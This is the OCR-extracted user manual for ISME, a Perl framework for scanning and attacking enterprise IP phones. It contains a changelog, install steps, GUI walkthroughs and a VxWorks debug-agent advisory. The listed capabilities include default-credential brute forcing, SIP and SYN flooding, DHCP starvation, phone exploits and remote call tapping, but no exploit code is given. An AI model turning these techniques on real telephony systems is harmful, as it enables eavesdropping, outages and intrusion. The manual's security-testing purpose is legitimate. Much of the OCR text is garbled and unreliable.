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Version follow up

V0.12- 06/10/2013

* SIP Scanner with administration services detection

* Threads have been implemented in the launcher.r8eweels can now be used at the
same time.

Warning: new perl libraries in use (Digest::MD5aunch install script.

V0.11-07/05/2013
» Scanner: VxWorks debug mode detection.

V0.10- 13/04/2013
* Exploit: Aastra IP Phone hardcode telnet login/pasd.

V0.9- 22/02/2013

» Exploit: Polycom HDX telnet authorization bypassSDB 90125)
* Tool: Cisco phone: Having fun with SSH
Warning: new perl libraries in use. Launch inssalipt.

V0.8 — 15/01/2013
* GUI update.
» Exploit: Alcatel OXO FTP Denial of service
* Exploit: Mitel ip phone information disclosure.
* Exploit: Mitel IP phone XSS vulnerability detection
* Tool: Add Cisco phone SSH server detection
Warning: new perl library in use -> Net::SSH

V0.7 — 15/11/2012

* Tool: Add Cisco phone logout mobility feature ahuse

* Tool: Implement a module to detect the use of delangin/password on embedded
web interface from Mitel phones.

Exploit: Add Aastra ip phone information disclosu{@SVDB-ID: 72941/EDB-ID
17376).

Exploit: Add Avaya Ip Office Linux voicemail passwdbfile data disclosure.

Exploit: Add the script providing phone call andn@te taping on SNOM phones.
Exploit: Add Mitel AWC unauthenticated command exian (OSVDB-ID:
69934/EDB-ID 15807).

V0.6 — 30/08/2012
* Implement code to exploit Polycom IP Phones dataldsure vulnerability (OSVDB-
ID: 73117).
* Implement code to exploit Polycom IP Phones Do$Subh web interface (OSVDB-
ID: 70697).
* Implement a module to detect Polycom SoundPointPliones use of default
Login/password and unprotected web interface.
Add the capacity to scan a full subnet for Aastré&SBIOM default login/password
search. Capacity to save results in text fileskdesesn added also.
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Add an integrated graphical module for Protos &IFSME (need java to work).
Cisco phone ringer & forwarder support new types P Phone:
7914,7915,7916,7920,7921,7925,7985

Due to some problems met by users at the instatiatifinally come back to an install
process mainly based on CPAN.

V0.5 — 06/08/2012

Add SIP Flooding attacks (Invite, Register, Optijons
Add TCP SYN Flood attack

Update installer

Change menu presentation

V0.4 — 12/06/2012

Add Cisco phone attacks (ringer & forwarder — slinn
Add Lan & Servers attacks (DHCP Starvation & DN®&et resolver)

V0.3 - 12/02/2012

All kind of subnets are now support. ISME is no mbmited to “/24”. Take care, it is
done with the utilization of a new library. Be suceinstall it (or load the installation
script which add been adapted) before launchirgyrtew version.
Add the capacity to detect default password on SNBNMhones.

V0.2 — 03/01/2012

Add an installer for all the perl modules.
Add the capacity to detect default password onradst Phones.

V0.1 - 20/12/2011
First release of ISME script.
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Introduction

Initially intended as a scanner dedicated to Clgcdelephony solution, ISME has evolve in
a small framework to test IP Phones from severabesi

Nevertheless, the four goals | had in mind at thgirming are still present:
* Provide a simple tool to use,
* Trying to create something new dedicated to ipptaebay,
» Targeting enterprise solutions,
» Exploiting LAN connexion possibilities.

Cisco target

Thus my first target was Cisco IP Phone. The embedtisco IP Phone web server makes it
an easy target full of interesting stuff. Moreovéére piece of information collected should
render feasible the possibility to get the phonessfig file directly from TFTP server.
Indeed, it is much easier once we do know the naintiee file. Brute forcing TFTP is just not
really convincing. Trying to get it with proper nars truly effective. You will find in annex
A of the document a sample of the config file.Hosld help you consider how interesting it
could be to get this file.

What can 1 get ?

Business [

Cisco IP Phone Services [Orange
= CISCO IP PHONE DETAILS:
IP Phone' IP Phone Type: CP-TST50
/P Phone t SR e
L1 L]
one ype \‘;Iaiunu!gccﬂgig;‘bls
P
IP Address Gr:rt:en:uuseiﬂ.'l’: Disable
Config file: Download sucessful (SEPO02G0BIBAOFE. crif
Hostname =
s FOUND FOLLOWING SERVERS OF IPT INFRASTRUCTURE
HCP S © 192, 168.100.10
Version DNS Server . 193 168 100, 10
CUCH Server: CUCHE  Actif
Phone number ITETP Server: 192.168.100.45
GARP enable/disable

Central infrastructure:
CUCM IP@
TETE IP@
DNS IP@
DHCP IP@

PTICEGEACC RECUVED - CEane 2

Other equipment offer less possibilities but cawdgtertheless provide information such as:
» SIP/SIPS (TCP/UDP) enable
* Embedded web server
* Web server banner
» Editor identification through Mac address
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What can 1 get ?

IP@ Alive, no Cisco phone

IP Address
Test web server
Get web server banner

Test port UDP 5060 (SIP)
Test port UDP 5061 (SIPS)
Test port TCP 5060 (SIP)

Test port TCP 5061 (SIPS)

Test port TCP 2000
(SCCP/Skinny)

ISME v0.12

Business

Services |

IP adresse: 192.168.11.17 alive
Web server available
Weh Server Banner:

HTTP/1.1 302 Found\x{d}
Location: htiﬁa :£/192.168. 11. 17/indesx. htmlix{d)
Content-Length: O'x{d}

Server: Allegro-Software-RomPager/4. 34\={d}
\xfd}

Device editor: Tandberg Data ASA'sx{d}0016AS5\n
MAC Address: 00:1b:d4:58:5b:66

5060 UDP (SIP): Close

S061 UDP (SIPS): Close

5060 TCP (SIP): Close

S061 TGP (SIPS): Close

2000 TOP (SCCP): Close

F =

What else?

ISME is now able:
To identify default login/password for SIP phon&sgtra, Mitel, Polycom, SNOM),
Implement attack dedicated to Cisco Phones,

Implement different server side attacks,

Specific code to implement exploits,

Add GUI for external fuzzers to provide a complgte of tools.

Date: 06/10/2013
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1- A quick comparison with existing scripts

SVCRACK
ISME NMAP ,SVIYIAP ?V‘{VAR (sipvicious [SIPVICOUS| SMAP |Metasploit
(sipvicous) (sipvicous) )
GUI interface Y Y N N N N N Y
CLl interface N Y Y Y Y Y Y Y
Detect SIP port over UDP Y Y Y N N Y Y Y
Detect SIPS port over UDP Y Y Y N N Y ? Y
Detect SIP port over TCP Y Y N N N N ? Y
Detect SIPS port over TCP Y Y N N N N ? Y
Identified web server presence Y Y N N N N N N
Grab web server banner Y Y N N N N N N
Web server brute forcing Y N N N N N N N
Got SIP user agent information N NSE ? Y N N Y Y Y
Got SIP Options N NSE ? Y N N Y Y Y
Brute force SIP Password on
extension N N N N Y Y N N
Find active phone number /SIP
wardialing N N N Y N Y N Y
Resolve device editor through
mac@ Y ? N N N N N N
Identified clearly Cisco IP Phone
model Y Depend N N N N N N
Get applicative informations of
Cisco IP Phone Y N N N N N N N
Get infrastructure server
information used by Cisco IP
Phone Y N N N N N N N
Get Cisco IP Phone config file on
TFTP server Y N N N N N
Save the results Y Y Y Y Y Y ? ?
Reload result for analysis Y Y N N N N ? ?
Filtering the result to focus on
specificitem Y N N N N N N ?
SNOM brute force Y N N N N
Polycom brute force Y N N N N
Mitel brute force Y N N N N
Aastra brute force Y N N N N
Cisco mobility abuse feature Y N N N N
Cisco phone forwarder Y N N N N
Cisco phone ringer Y N N N N
SIP Fuzzing (Protos embedded) Y N N N N
SIP Invite flooding Y NSE ? N N N
SIP Options flooding Y NSE ? N N N
SIP Register flooding Y NSE ? N N N
DHCP Starvation Y N N N N
TCP Syn flood Y N N N N
DNS Subnet resolver Y N N N N
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2-  Working environment

2.1- Dev environment

2.1.1- Library

ISME has been developed in Perl. Thus it should aaonnearly every operating system
running perl.

The following libraries are needed:
* LWP::UserAgent; #http://search.cpan.org/~gaas/libwww-perl-
6.03/lib/LWP/UserAgent.pm
* HTML::Parser; # http://search.cpan.org/dist/HTML-sta/Parser.pm
* Net::Ping; # http://search.cpan.org/~smpeters/Nieg-2.36/lib/Net/Ping.pm
* Net::Netmask; # http://search.cpan.org/dist/Netahsesk/
* Net::Subnets;
* Net::TFTP; #http://search.cpan.org/~gbarr/Net-TFTP-0.16/TFTP.pm
* Net::DHCP::Packet; # http://search.cpan.org/~djx@t-DHCP-
0.69/lib/Net/DHCP/Packet.pm
* Net::DHCP::Constants; # http://search.cpan.orgbdiiet-DHCP-
0.69/lib/Net/DHCP/Constants.pm
* Net:Libdnet::Arp;
* Crypt::SSLeay; #http://search.cpan.org/~nanis/C8®Leay/SSLeay.pm
* LWHP::Protocol::https ; #http://search.cpan.org/-sga&/P-Protocol-https-
6.02/lib/LWP/Protocol/https.pm
* Mozilla ::CA;#s http://[search.cpan.org/~abh/Mozi0#A-
20111025/lib/Mozilla/CA.pm
 HTTP::Request::Common; # http://search.cpan.or@st#il TP-Message-
6.02/lib/HTTP/Request/Common.pm
* Net::Subnets
» Tk; #http://search.cpan.org/~ni-s/Tk-804.027/poai@uide.pod
* Net::RawlP; #http://search.cpan.org/~saper/Net-RaR5/lib/Net/RawIP.pm
* Net::SSH
» SIP/Digest
Take care, even if libraries are not explicitly lkdeed in the script, there are needed
nonetheless.

Javamust be installed on the computer if you intendde Fuzzing SIP — Protos.

2.1.2- Threads

Threads must be activated for Perl. If it's not tlase some tools won’t be working. To verify
the threads status, enter “perl —V” in a termirélyou find “useithreads=undef” in the
answer, you must recompile your perl version whtteads option.

Note: installing thread modules from CPAN won'’t chanige situation.
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MBP-2:isme cedricbaillet$ perl -V
Summary of my perl5 (revision 5 version 12 subversion 3) configuration:

Platform:

osname=darwin, osvers=18.8.8, archname=darwin-multi-2level

uname='darwin beta.macosforge.org 18.8.0 darwin kernel version 18.8.8: tue jum 7 16:33:36 pdt 2
811; root:xnu-1584.15.3~1release_i386 1386 '

config_args='-D inc_version_list=5.12.2/darwin-multi-2level 5.12.2 5.12.1/darwin-multi-2level 5
.12.1 5.12.8/darwin-multi-21level 5.12.8 -des -Dprefix=/opt/local -Dscriptdir=/opt/local/bin -Dcppfl
ags=—I/opt/local/include -Dccflags=—pipe —02 -Dldflags=—L/opt/local/lib —Dvendorprefix=/opt/local
-Dusemultiplicity=y -D cc=fusr/fbinfgcc-4.2 -D ld=fusr/bin/gcc-4.2 -D manlext=1pm -0 man3ext=3pm -D
manldir=/opt/local/share/man/manlp -D man3dir=/opt/local/share/man/man3p —D sitemanldir=/opt/local
/share/man/manl -D siteman3dir=/opt/local/share/man/man3 -D vendormanldir=/opt/local/share/man/manl
-D vendorman3idir=/opt/local/share/man/man3 -D pager=/usr/bin/less —sR'

hint=recommended, useposix=true, d_sigaction=define

, usemultiplicity=define
useperlio=define, d_sfio=undef, uselargefiles=define, usesocks=undef

For those who are working on a MAC, with mac podlt enter the following command in a
terminal: “sudo port install perl5 +threads”. ltosid do the trick.

2.1.3- Tested operating system

The following operating systems have been testedoaking with version 0.6:
* Macosx 10.6.8
* BackTrack 5 R3
» KaliLinux 1.0.3
| would welcome any information on deployment ohestLinux flavor {sme_sec@yahoo)fr

2.2- Installing perl modules

Since there are many perl modules to install ireptd have a working ISME script, | put
some of them in the directory “PerlIModuleSourcethna proper script either to compile or
get them through CPANRooOt level and Internet connection are mandatory
- User has the choice to install them by himselvith the above procedure -

| i bash
MBP-2:isme cedrichaillets ENSSISHNSRSESIEERINSHUETNNSIS
ISME: Starting to install perl modules

ISME: Uncompressing local archives
x Crypt-SSLeay—0.64/

x Crypt-5SLeay-0.64/certs/

x Crypt-5SLeay-8.64/Changes

x Crypt-SSLeay-0.64/eq/

» Crypt-SSLeay—0.64/1lib/

x Crypt-5SLeay—0.64/Makefile.PL

% Crypt-SSLeay—0.64/MANIFEST

% Crypt-SSLeay-9.64/MANIFEST.SKIP
x Crypt-S5Leay—8.64/META. json

x Crypt-5SLeay—0.64/META. yml

Next module
Checking if your kit is complete...
Looks good
Writing Makefile for Net::TFTP
cp TFTP.pm blib/lib/Net/TFTP.pm
Manifying blib/man3/Net::TFTP.3pm
Manifying blib/man3/Net::TFTP.3pm
Installing /fopt/local/lib/perl5/site_perl/5.12.4/Net/TFTP.pm
Installing fopt/local/share/perl5.12/siteman/man3/Net::TFTP.3pn
Appending installation info to fopt/local/lib/perl5/5.12.4/darwin-thread-multi-2level/perllocal
.pod

ISME: DONE

MBP-2:isme cedricbaillet$ [I
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Note:
Net::Libdnet needs libdnet library. It can be dowad fromhttp://libdnet.sf.net
If the installation is needed the following erroessage should appear :

Libdnet.xs:37:18: error: dnet.h: No such file orectory.

2.3- Directory structure of ISME

CiscolpPhoneConfigFile directory containing the phones configurationedil obtained
through TFTP.

Doc: directory containing documentation. No surprise.
Exploits: contains scripts exploiting specific weakness.
Image: contains image use in the GUIL.

Isme_data: contains file needed for a proper running of ISME.

PerIModuleSource: sources for specific perl modules needed for ISM#6rk in correlation
with “installPerIModulev0.5.sh”.

Scan_history: directory containing all the results of all scdaatomatically generate at the
end of the scan). Files in this directory coulddsased by hand or through ISME interface
(menu “History->Delete saved scans”).

Tools: contains perls script for the tool menu.

User_data: default directory for the saved file of the user.

2.4- Where to get the script

ISME is host on freecode web portal. Here is tloggat url:
http://freecode.com/projects/ip-phone-scanning-nreaey/-isme
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3- Launching ISME

WARNING: ISME need to be run as root, hence theoduslow.

1. Open aterminal
2. Go to the directory containing isme.pl
3. Enter the following command “sudo perl isme.pl”

Last login: Tue Jan 15 18:41:56 an ttysBea

mbp:~ cedricbaillet$ cd isme

mbp:isme cedricbaillet$ 1s

CiscolpPhoneConfigFile installPerlModulev@.8.sh skinny_protocol.h
Doc isme.pl skinny_tables.co
Exploits isme_data skinny_tables.h

Image scan_history tools
PerlModuleSource skinny_api.c tools_cli
Scanner skinny_api.h user_data
generic_scanner.pl skinny_protocol.c

mbp:isme cedricbaillets$

mbp:isme cedricbaillets ElEEIFERIEERENRN
i

This should launch a GUI interface as describatkixt page.
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4-  The Graphic User Interface (GUI)

4.1- Introduction

ISME GUI is divided in two modules.

The first one is the launcher. It will provide aasg access to all tools and modules of ISME.
Once the one needed has been found, it will laitnch

The second one is composed of all the applicatiedutes forming ISME (see scanner, tools
or exploits chapters).

4.2- Launcher

Launcher GUI:

. Yale | ISME (IP Phone Scanning Made Easy)
Menu  ——| File About

Buttons — ulgﬂ_

Scanner '\ |astra Web Disclosure Al
Tools |Alcatel OXO FTP DoS
Exploits lavaya TFTP Disclosure
Editors iMileI Weh Disclosure
Tables — Mitel XS5

Mitel Unauthenticated Command Execution
|Polycom HTTP DoS

Polycom Web Disclosure

__||SNOM Call Remote Tapping

Table1 | Table2 |/ Table 3

J.»“'le

Modules
details * | —

ul: This button is used to validate the selectiontahles 1 or 2. For example, select
“Exploits” in table 1 and validate with the “Selédiutton to obtain the list of available
exploits in table 3.

Note: table 2 is used to select editors only.

ﬂ: This button is used to see the selected moduietifunality explanation. Just select a
module in table 3 and click on the button. The amption will appear in the “modules
details” are of the launcher GUI.

J: This button is used to launch the selected mokiulable 3.

Date: 06/10/2013 By Cedric Balillet Page 15



ISME v0.12

4.3- Applicative modules interfaces

ANA [, MITEL IP Phone Web Interface XS5 Vulnerability

Menu —_—

File

Buttons —— |®@| | 11R
- Configure

«- IP Subnet to scan with default login/password
Subnel (192.166.1.0/24): [192:166.1.0/24
| % Single IF Phone 1o scan with default login/password
Conﬁgure —_— IP Phone address (192.168.1.1): [192168.1.1

. Single IP Phone 1o scan with specific login/password
IP Phone atdress (192.168.1.1): [192.166.1.1
| IP Phone login: [login

IP Phone password: Ipaxswnrﬂ |

|
Delaﬂs|PusiMmﬂ&]ths|

Progress
bar

A

| Vulnerability: MITEL IP Phone Web Interface XS% Vulnerability
||CVE: Under declaration

||Dake: 23/11/2012

Author: Cedric Baillet

Tested on Version: 5330, 5340

Patch: unknown

Tabs —

DETAILS :

Cross Site Scripting vulnecability has been found in Ax TempUserConfigAddNew A»
(URL : http:/f, pUssrGonfighddies) and allow remote user to inject

arbitrary code.

Access Vector: Network exploitable

Authentication: Kegquired to exploit

Impact Type: Allows unauthorized modification

||¥oREAROUND
| Hone

Buttons:

&

——_I: This button is used to see the module functibpabkplanation in the “Details” tab.

“__I: This button is used to launch exploit once tHermation needed in the “Configure”

part of the GUI have been provided.
iy

——1: This button is used to select specific files regktbr a tool or an exploit. Mostly, it is
used in two cases:

* Re-used a .isme file from the generic scanner

* Get a large file to realize FTP exploit on AlcaBXO

il : : , o
**"l: This button is used to save to a text file treults contain in the “All logs” tab once the
exploit has finished its task.

EI: Close the applicative module interface.
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Configure:
This area is dedicated to enter the proper parameézded to launch the exploit.

First, the user must choose between three optibngli(be mostly true for all the modules of
ISME):

» Subnet with default Login/Password

* Single IP address with default Login/Password

» Single IP address with specific Login/Password

It is done by clicking on the radio butto ™ ).

Second, the necessary information must be provig8dbnet, IP address or/and
login/password). The proper syntax is shown insitreenshot above.

Beware, if IP Addresses or subnet syntax are iectrexploit won’t work.

Progress bar: Just a progress bar that will show in a graphic wWay completion of the
applicative module.

Tab “details™
This tab is used to explain what will be done wita applicative module.

Tab “Positive results”: This tab will only show the results that are coesédl as positive.

Tab “All logs™ This tab show all the results whatever they are.
It could be once of the below issues:

* Unable to ping

* Unable to connect to web server,

* Web server error,

Note: all modules may not have this GUI yet. If it's thase, specific explanation will be
provided on how to handle the interface within tmapter dedicated to the module. Older
applicative modules will be migrated to the new Giuthe next releases of ISME.
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5- Generic Scanner tool

5.1- Generic Scanner tool

5.1.1- The Graphical User Interface

5.1.1.1- Launch the tool

Select “scanner -> generic” in the launcher intsfa

ann | ISME (IP Phone Scanning Made Easy)

| Hle About

| e|p

Scanner
Tools
|Exploits
Editors

> |5

| Generic |

5.1.2.1- Generic scanner interface

User interface

N | < b

Business

Services

ROn  isme.pl (iP Phone Scanning Made Easy). |
IfSMEt' sl " Subnett
unctions o e ] upbnetto
Subnet o scan (192.168.1.0024): | i
e e e ————— ey A e o scan
THG 70 FIND IDENTIFIED DEVICES WITH ENGEDDED WEE SERVERS =1
IR adre=ss: 192 168 11 17 alive
(Web serwer awnilahle
[Web Server Bmnnor
Log of the
METRAL 1 W2 Found\xid) !
leoclt:nnl htips .-I_:{;L?&' 15811, 17 findex, hmlix(d) scan
antant~Lan {d) z
-s-e:s:r Mgro-hf:.va:e-nnwager.-‘d. 3xid) Resu“ Df fIItEF
=id) f
functions
Device sditor| Tandberg Dats AsA\eid)0DLEASY
{EAC: Address: 00:ib 44.53:5h 66
5060 UIP (SIP): Clone
|5061 WOP (SIES)  Close
{5068 TP (SIR) | Cloae
[E961 ToP é31P5) . Elose ¥
152581113 I:-Isg]t_r IP PHONE nt.r%liz. g
e IF Fhone Typs. GP- 0 1
ESENER VNS 1P Addrens: 19% 168, 1115 alive |
192.168.11.16 Bostnans: SEPOOIECEIBADES
192.168.11.17 Waceion scra?gigasds |
Phons nambar
152.15-&.11.;:5 Geatultous ARP. Disable 5
"z-’:-”m Config File: Dewnlond socessful (SEPOOZECHIBANYGeenbs—t— D@taIl
1EEARLT aml] 2
: conceming

PO POLLOVING SERVERS OF IFT INFRASTRUCTURE
DHCE Serwer: 192 16810810
DOiS Secwer . 192 158.100.10
CUCH Server: CUCME  Actif
(TFTP Secver: 192168 100.45

Active IP@ ———

the active IP@

Shonw dhrlails of seboctod 1P address

P T4 ECE G EOCE S MED — [ Bl
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5.1.2- How to launch a new scan?

The procedure is simple enough:

1- Enter the subnet with following syntax: 192.168/240
2- Launch the scan through the menu File->Launch sognn

Launch a new scan

Business
Services
AOO0 % isme.pl (IP Phone Scanning Made Easy)

oo kibe i — .l Subnett
Launch Launch [Lps2resan0s sgal'?e i
scanning Save as CSV (M5 Excel) e
through Save as CSV (Open Office)
menu. e

GOOD News: results automatically saved

WARNINGI: Nothing can I?e done while the scan is unFI'er going !

Tala)

| WARNING
File

|s?a'mm§ 13 under completion, No action allowed until it's finished

Three limitations are presents right now:

* Any subnet you wish as long as it has de corratasyX.X.X.X/XX
Nothing can be done while the script is scanning,

Scanning a subnet could take 25 to 30 minutes frgnown experience.

It should be overcome in future versions. Yes | rbayable one day to work out how to
develop proper multithreading...
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5.1.3- Exploit the scan results

5.1.3.1- Understand the interface and the basics

The results of the scan will exploit all part oetUI. Upper window (step 0) will contain
raw logs. By raw | mean that positive and negateseilts are present.

Left lower part (step 1) will contain all the IPdrdsses that have been found active.

Right lower part (Step 3) will contain the infornmat specifically link to an IP address. To
have them, the ip address must be selected andatedi with the button “show details of

selected IP address” (Step 2).

End of the scan, exploit data 1/3

Business |
Services

fAnn A isme.pl (IP Phone Scanning Made Easy)

[F adresse: 192 168,11,17 alive
i Lab

= R L
'f:'e" Ig' [Web Server ;:mnr 2
g TP /1 1 302 Feundird)

windows [Location: https r.rw 1su 11 17/andex hixlix(d)
RSO TaE |l.‘o|-b=n= Length: Dhxi{d]
|S#rver | Allegre- sn!tu'are ~Foafager,d. Mx(d)
i)

Donr.e ed.lr.u Tmé-e: !ata m\xid OI} Ba5n
lﬂ\ﬂ Ndiess: 00:1h:34:58. 50 66

|54'IEU BOP (SIP) Clusc

{5061 URP (SIPS) . Clase

5060 7o2 (a1e): close

(5061 TCP (SIPS) | Closs

[132.16001.03 C1500 TF PHGNE IETAILS
= IF Phone Type: CB-THI50
e tve o S e
Rk stnane g
SelectActive I'IB?JH 147 Fecoian: SCCETS, 3-2-15
wome quanbor
IP@ I1w A1 e Reatudtsus ARP: Disable
[FARRen AT Fonfig fule: Damisad sucessful [SEROO26CHIBAOTE CaE |
192.164.11.254 al)
FOD FOLLOVINS SERVENS GF 1PT TNFRASTRUCTURE
DHCE Server 192,168 108
NS Serwnr 193 1687100 10
CUTH Server. CUCNE Actif
T¥Te Secvec. 102168 10045
Step 2: I
Validate with — Show datas of selected 1P addwss
button
FTORCESSESUCDOIECUOVED - CEaled
5.1.3.2- Smarter input

Step 3:
Examine data

concerning
selected ip@

w7

Unified communication servers are often configutetbugh web server. Those
letting some informations sleep out, which perraiidentify some of them. When a proper
identification is realize, it appears as SMART INPIld the windows log.
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[ ML ) % isme.pl {IP Phone Scanning Made Easy)

File History Filter Tools Ezploits

Subnet to scan (192.168.1.0/24); |

IP adresse: 192.168.100.8 alive.

Weh server available,

Webh Serwer Banner:

HTTP/1.1 400 Bad Requestixi{d}
Transfer-Encoding: chunkedioc{d}

Date: Thu, 30 Aug 2012 13:23:32 GMTx{d}
Connection: close‘x{d:

Secver: xidi

haid}

Smarter Tnput: Cisco Unified Presenced
Device editor:

MAC Address: 00:50:56:80.00.00

S0&0 UDP (5IP): Open or Filter

E0&l UDP (SIPS): Open or Filter

E0&0 TGP (SIP): Open

G061 TCP (SIPS): Open

"\ [192.168.100.3
192.168.100.5
192.168.100.6
192.168.100.7
192.168.100.5
192.168.100.10
192.168.100.11
192.168.100.12
192.168.100.13
192.168.100.16
192.168.100.18
192.168.100.19
192.168.100.24
192.168.100.28
7 [192.168.100.31

Show details of selected IP address

>4

v — sl

The following servers could be identified todayotlngh “smarter input”:

e Alcatel-Lucent OmniVista 4760 NMS
*  OmniPCX for Enterprise

e Alcatel-Lucent OmniTouch 8660

» Alcatel-Lucent Omnitouch 8400

» Cisco Unified Contact Center Express
 CISCO Codec

* Codian MCU

* Aastra Management 7450

» Cisco Unified Communications Manager
e Cisco Unified Presence

» Cisco Unity Connection

* VMware ESX Server
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5.1.4- Filtering

Ok, so we have some result, we can select an ipessldo see some stuff, but how could |
find an information and sort it out for 250 IP Pbker? Well, through the filtering functions. It
will provide the capacity to sort out result in tleey windows (upper ones). Here are the
filters that are available today:

 SIP UDP/TCP

 SIPS UDP/TCP

* Embedded web server

» Cisco IP phone

» See all logs (print raw information in log windoagain)

End of the scan, exploit data 2/3

Business
Filter functionality Services

¥ FaY e % Iame.pl 07 Phane Scanning Made Easy)

SEE ALLL0GS ' - Selectthe Getthe result

B -1MWP{SIP]|)M e e | filter
osee |
IWeh pecver ay 2201 UDP (SIPS): Opan
trb snwr Ta 60 TCP (SH): Open
Em“‘f\.l -auls 4061 TP (308): Open 5
feewer cioeo et | ! AN ] isme.pl (12 Phone Seanning
Cept-Rangns Wels Swrver availabin
- L Pl 1 Faer
Ima?\lmmcu TN Is_me:n () tary .
o i Sabnat o sean (192.160.0.024) |
Bewie J‘ TRYTHO T0 FIND TOEWTIFIED DEVICES VITH DNERDOED VER SERERS i
~tifl
15060 W (HFJ ﬂcH
{5080 o2 u,m clore i koS o AT
o — - » G
= 152.160.%.1 = L. 3 ;1! 168 1117 unde: Btuly(d] '
192160 46.2 el d)
| L NGH AR Saryn; u. wace-Rontages i Mixid)
l bRl ) i
192168417 memmsmsmsessesmamamaissasndannaanaas
= hisesn.m.x0 ; At 2] SRLAS |
19216046 72
1921684623 |
192,160, 45.24
152, 1604625
19,166,467
19 166, 86.20 F Address: 192165 11 13 ali
192, 168.46.29 15216011 15 Hostrams smnn"—ucénna 2
| hsehsaen | (LATRIRYS =03
[ SR | 7 132.160.11.13 HEG ;. ,ﬂ
[ TIN5 ‘Dovmicad sucessful {SEPOOIEATCRRSEE cnt
Shew delaily of detec bid I addross A THZAER.11.254
IOV FOULIVIND, STVERS F 77 IVRASTRUCTRE
mCE Servar: 195165 100 10 |
is S-GJ'm.' L aean 30
{oen Sas Yo af |
FPeP sapvet 160 168 100 45 |
|
IZ|
Show detats 0f seectu 1P idress .

Those filters help to sort out the information todgeper in details if need be.

Filter results can be saved in a text file thronggnu “File->Save logs”. The default location
of the saved file is in user_data directory.
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5.1.5- Reload an old scan

Completed scans are automatically saved in thetding “scan_history”. The syntax of files
is the following: year-month-day-time-scanned netwieme. It is a texte file even | the
extension is “.isme”.

By going in menu “history-> open saved scan”, théikes could be reload in ISME for
further analysis.

Open an old result for further analysis 1/2

Business [
Services

B0 '\ Isme.pl (IP Phone Scanning Made Easy)
File History | Filter I

Subine y: [ 1 | .
e OPEn SV G AN e —————————————————— — Step 1: Launch action
TRYIH Delsl.o saved scans DEVICES U‘ITH !';NBEDMD WEB SERVERS _‘I =
__________ e 2 e e Step 2: Selectresultfile
TP adresss: 192, 168 I.l 1T alive
Web server available
Web Servcr Bmlwr D [T ¥aTe '\ Open |
m,‘i 1 302 Favnd'e(d) i Msersicemfchaistismelsean bis = il
Location: hotps: /192 168.11 17/ijdex himlx{d} Il"‘“"Y it | E
Content-Leng O%xid) |th|11 =1 1=4-21n54ma =152 f B8 0 0Jsmy i
Sar:v: J\l].eg:u Snftwr{ ~RonPager/4. 34x(d) | 201 1-11=512hi8ma ~152 R e 11 0 iens

1

| {Byz011-11-512hoane 152 5811 e
||32m| 1151 2n36me -152 6811 Disme

l; = {201 1-11-5-15h3bmn -152 R EH 1 1.0 lung
Dev;;e ed1tor deba:g Datn .’.Sh\xﬂdwﬂlm\n ||Dzon 11-5-32mn - 192 16f.11 dlisma
%ﬁhdd“?i )I]ﬂ-ﬂ!:-‘:]dd. 8:5b: 66 |||_,zon 11-5-3n58mn -122 168110 lsma

uDP (SIP). Glose
15061 UDP (SIPS); Glose |F -
5050 TCP (SIP) . Clooe = T
5061 TGP (SIPS) . Glose i Foo e [ | | o |}
192.166.11.13 18 adresse: 192 168.11.17 alive i I
182 160.11 15 Web server available. T =1 il
192.168.11.15 b e
192.1668.11.17 HETE /1.1 302 Foundix{d} e
192.166.11.19 Location: https: rm*z 168, 11. 17/index htmlx{d) e
92.166.11.25 iContent-Lengt o
192.160.11.253 Server: Allegro- Soﬂuare -RonPager /4. Mix(d)
152.160.11.254 eid}

nmce editor deberg Data ASA\x{d}0016A5
MAD hdd.reaa 00:1h:d4:58:5b:66

2000 TGP (SG@} Cloae

Show details of selected 1P address ' § mautn

5.1.6- Cisco IP Phones already tested

The script has been found working on the follow@igco IP Phone models:
o CP-7942G test OK. English interface.
» CP-7961G test OK. English interface.
 CP-9971 test OK. English interface.
* CP-7971G-GE test OK. English interface.
» CP-7985 test PARTIAL. English interface.s
» CP-7975G test OK. French interface.
» CP-7970G test OK. French interface.
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5.2- Scanner: VxWorks debug mode detection

5.2.1- Description

The VxWorks WDB target agent is a target-resideat-time facility that is required f
connecting host tools to a VxWorks target systemndudevelopment. WDB is a selecte
component in the VxWorks configuration and is eedhby defaultThe WDB debug age
access is not secured and does provide a secuol@yrha deployed system.

It is advisable for production systems to recomggl/xWorks with only those compone
needed for deployed operation and to build it &sappropriatdype of system image. It
recommended to remove host development componants a&s the WDB target agent
debugging components (INCLUDE_WDB and INCLUDE_DEBUGs well as othi
operating system components that are not requiredgport customer applications.

Consult the VxWorks Kernel Programmer's guide forennformation on WDB.

Impact

An attacker can use the debug service to fully comgse the device.

Solution

Disable debug agent

Vendors should remove the WDB target debug agethteim VxWorks based products by
removing the INCLUDE_WDB & INCLUDE_DEBUG componerftem their VxWorks
Image.

Restrict access

Appropriate firewall rules should be implementedréstrict access to the debug ser
(17185/udp) to only trusted sources until vendargelreleased patches to disable it.
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L=t of idormtEfied wondor with vulrnorable products:

1
iy
2

1]
m
12
13
14
15
G
¥
13
15

8 3 3 B B

Date: 06/10/2013

VendorStaiusDate MotifiodDate Updated
3com meAleciad 14 Jun 2090

Actaks MatworksAtacted?s Jun 2010
AlcabelLucantAtacied1 4 Jun 2010

Allingt TedesinAffectad 29 Jun 2010
AarignAactad2d Jun FO]
amxAMeciad?d Jur 2010

dgnne NetworgsAtpcied2E Jun 2010
hopln s Affected 4 Jun 2030
ABRISAReciad 18 Jur 2040
AyEya. ins Atacted 14 Jun 2010
BeoadeomAfinctad 4 Jun 2010

Cericon MNabwirgs incAfeched 29 Jun 2050
Cleon Symieme, ing Afected 14 Jun 2010
ok SysIETS, Inc AfectnE 14 Jun 2010
Qull Compaier Copaoralisn InoAMecied 14 Jun 2090
DigorASaciec?d Jun 201027 Jul 2010
Dy Tek CoparatianAfecisc2d Jun 2010
EMC CorporatanAfieciod 14 Jur 2018
EnablgocaAfected 79 Jun 2110

Enterasys Metworks Alfereg 18 Jun 2010
Eosgn amancs e Affeciad 18 Jun 2070
EngesonAffectad 14 Jun 204027 Ju 2040
Eluke Netaprksaftected 4 Jun 501027 Jul 2010
Eoundry hatwarks, oo Affected 14 Jun 7910
Cilat Netwerk SystamsAfiected2 Jun 2010

T

e

ai

2

24
.

Gunngrhoy Sacke CommunaationsAlfeced?d Jun 2010 36

Heowsat-Packard Comparytfectadis Jun 2010
Husnsed Techanigssttacied 1B Jun F10ET Jul 37010

i)
28

By Cedric Balillet

EWATELL Wioicn HetanrksAlecadsa Jun 2010

Heda CommunetansAfieced?d Jur 201027 Jul 2010
Erptive EeAfected 28 Jun Z1027 Jul 010
Lanowoattacted 4 Jun 201087 Jul 2010

Lulran SlpcionicsAfecan il Jun 02T Jul 310
